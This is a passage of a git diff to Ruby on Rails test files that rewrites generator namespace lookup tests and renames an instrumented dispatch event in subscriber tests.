Rails::Generators.invoke :model, ["Account"], :behavior => :skip
end
- def test_find_by_namespace_without_base_or_context
- assert_nil Rails::Generators.find_by_namespace(:model)
+ def test_find_by_namespace
+ klass = Rails::Generators.find_by_namespace("rails:model")
+ assert klass
+ assert_equal "rails:model", klass.namespace
end
def test_find_by_namespace_with_base
klass = Rails::Generators.find_by_namespace(:model, :rails)
assert klass
- assert_equal "rails:generators:model", klass.namespace
+ assert_equal "rails:model", klass.namespace
end
def test_find_by_namespace_with_context
klass = Rails::Generators.find_by_namespace(:test_unit, nil, :model)
assert klass
- assert_equal "test_unit:generators:model", klass.namespace
- end
-
- def test_find_by_namespace_with_duplicated_name
- klass = Rails::Generators.find_by_namespace(:foobar)
- assert klass
- assert_equal "foobar:foobar", klass.namespace
+ assert_equal "test_unit:model", klass.namespace
end
- def test_find_by_namespace_lookup_to_the_rails_root_folder
+ def test_find_by_namespace_with_generator_on_root
klass = Rails::Generators.find_by_namespace(:fixjour)
assert klass
assert_equal "fixjour", klass.namespace
end
- def test_find_by_namespace_lookup_to_deep_rails_root_folders
+ def test_find_by_namespace_in_subfolder
klass = Rails::Generators.find_by_namespace(:fixjour, :active_record)
assert klass
- assert_equal "active_record:generators:fixjour", klass.namespace
+ assert_equal "active_record:fixjour", klass.namespace
end
- def test_find_by_namespace_lookup_traverse_folders
- klass = Rails::Generators.find_by_namespace(:javascripts, :rails)
+ def test_find_by_namespace_with_duplicated_name
+ klass = Rails::Generators.find_by_namespace(:foobar)
assert klass
- assert_equal "rails:generators:javascripts", klass.namespace
+ assert_equal "foobar:foobar", klass.namespace
end
- def test_find_by_namespace_lookup_to_vendor_folders
- klass = Rails::Generators.find_by_namespace(:mspec)
- assert klass
- assert_equal "mspec", klass.namespace
+ def test_find_by_namespace_without_base_or_context_looks_into_rails_namespace
+ assert Rails::Generators.find_by_namespace(:model)
end
- def test_find_by_namespace_lookup_with_gem_specification
- assert_nil Rails::Generators.find_by_namespace(:xspec)
- Rails::Generators.instance_variable_set(:@load_paths, nil)
-
- spec = Gem::Specification.new
- spec.expects(:full_gem_path).returns(File.join(Rails.root, 'vendor', 'another_gem_path', 'xspec'))
- Gem.expects(:respond_to?).with(:loaded_specs).returns(true)
- Gem.expects(:loaded_specs).returns(:spec => spec)
-
- klass = Rails::Generators.find_by_namespace(:xspec)
- assert klass
- assert_equal "xspec", klass.namespace
- end
-
- def test_builtin_generators
- assert Rails::Generators.builtin.include?("rails:model")
+ def test_find_by_namespace_show_warning_if_generator_cant_be_loaded
+ output = capture(:stderr) { Rails::Generators.find_by_namespace(:wrong) }
+ assert_match /\[WARNING\] Could not load generator/, output
+ assert_match /Rails 2\.x generator/, output
end
def test_rails_generators_help_with_builtin_information
output = capture(:stdout){ Rails::Generators.help }
- assert_match /model/, output
- assert_match /scaffold_controller/, output
+ assert_match /Rails:/, output
+ assert_match /^ model$/, output
+ assert_match /^ scaffold_controller$/, output
end
def test_rails_generators_with_others_information
- output = capture(:stdout){ Rails::Generators.help }.split("\n").last
- assert_equal "Others: active_record:fixjour, fixjour, foobar:foobar, mspec, rails:javascripts, xspec.", output
- end
-
- def test_warning_is_shown_if_generator_cant_be_loaded
- Rails::Generators.load_paths << File.join(Rails.root, "vendor", "gems", "gems", "wrong")
- output = capture(:stderr){ Rails::Generators.find_by_namespace(:wrong) }
-
- assert_match /\[WARNING\] Could not load generator at/, output
- assert_match /Rails 2\.x generator/, output
+ output = capture(:stdout){ Rails::Generators.help }
+ assert_match /ActiveRecord:/, output
+ assert_match /Fixjour:/, output
+ assert_match /^ active_record:model$/, output
+ assert_match /^ active_record:fixjour$/, output
+ assert_match /^ fixjour$/, output
end
def test_no_color_sets_proper_shell
@@ -124,36 +109,18 @@ class GeneratorsTest < GeneratorsTestCase
Thor::Base.shell = Thor::Shell::Color
end
- def test_rails_root_templates
- template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb")
-
- # Create template
- mkdir_p(File.dirname(template))
- File.open(template, 'w'){ |f| f.write "empty" }
-
- output = capture(:stdout) do
- Rails::Generators.invoke :model, ["user"], :destination_root => destination_root
- end
-
- assert_file "app/models/user.rb" do |content|
- assert_equal "empty", content
- end
- ensure
- rm_rf File.dirname(template)
- end
-
def test_fallbacks_for_generators_on_find_by_namespace
Rails::Generators.fallbacks[:remarkable] = :test_unit
klass = Rails::Generators.find_by_namespace(:plugin, :remarkable)
assert klass
- assert_equal "test_unit:generators:plugin", klass.namespace
+ assert_equal "test_unit:plugin", klass.namespace
end
def test_fallbacks_for_generators_on_find_by_namespace_with_context
Rails::Generators.fallbacks[:remarkable] = :test_unit
klass = Rails::Generators.find_by_namespace(:remarkable, :rails, :plugin)
assert klass
- assert_equal "test_unit:generators:plugin", klass.namespace
+ assert_equal "test_unit:plugin", klass.namespace
end
def test_fallbacks_for_generators_on_invoke
@@ -181,8 +148,26 @@ class GeneratorsTest < GeneratorsTestCase
Rails::Generators.subclasses.delete(klass)
end
+ def test_rails_root_templates
+ template = File.join(Rails.root, "lib", "templates", "active_record", "model", "model.rb")
+
+ # Create template
+ mkdir_p(File.dirname(template))
+ File.open(template, 'w'){ |f| f.write "empty" }
+
+ output = capture(:stdout) do
+ Rails::Generators.invoke :model, ["user"], :destination_root => destination_root
+ end
+
+ assert_file "app/models/user.rb" do |content|
+ assert_equal "empty", content
+ end
+ ensure
+ rm_rf File.dirname(template)
+ end
+
def test_source_paths_for_not_namespaced_generators
- mspec = Rails::Generators.find_by_namespace :mspec
- assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "mspec"))
+ mspec = Rails::Generators.find_by_namespace :fixjour
+ assert mspec.source_paths.include?(File.join(Rails.root, "lib", "templates", "fixjour"))
end
end
diff --git a/railties/test/subscriber_test.rb b/railties/test/subscriber_test.rb
index ac34939510..fa3f7bfabb 100644
--- a/railties/test/subscriber_test.rb
+++ b/railties/test/subscriber_test.rb
@@ -92,7 +92,7 @@ module SubscriberTest
def test_flushes_loggers_when_action_dispatch_callback_is_received
Rails::Subscriber.add :my_subscriber, @subscriber
- instrument "action_dispatch.callback"
+ instrument "action_dispatch.after_dispatch"
wait
assert_equal 1, @logger.flush_count
end
@@ -100,7 +100,7 @@ module SubscriberTest
def test_flushes_the_same_logger_just_once
Rails::Subscriber.add :my_subscriber, @subscriber
Rails::Subscriber.add :another, @subscriber
- instrument "action_dispatch.callback"
+ instrument "action_dispatch.after_dispatch"
wait
assert_equal 1, @logger.flush_count
end
@@ -111,7 +111,7 @@ module SubscriberTest
Rails::Subscriber.log_tailer = log_tailer
Rails::Subscriber.add :my_subscriber, @subscriber
- instrument "action_dispatch.callback"
+ instrument "action_dispatch.after_dispatch"
wait
ensure
Rails::Subscriber.log_tailer = nil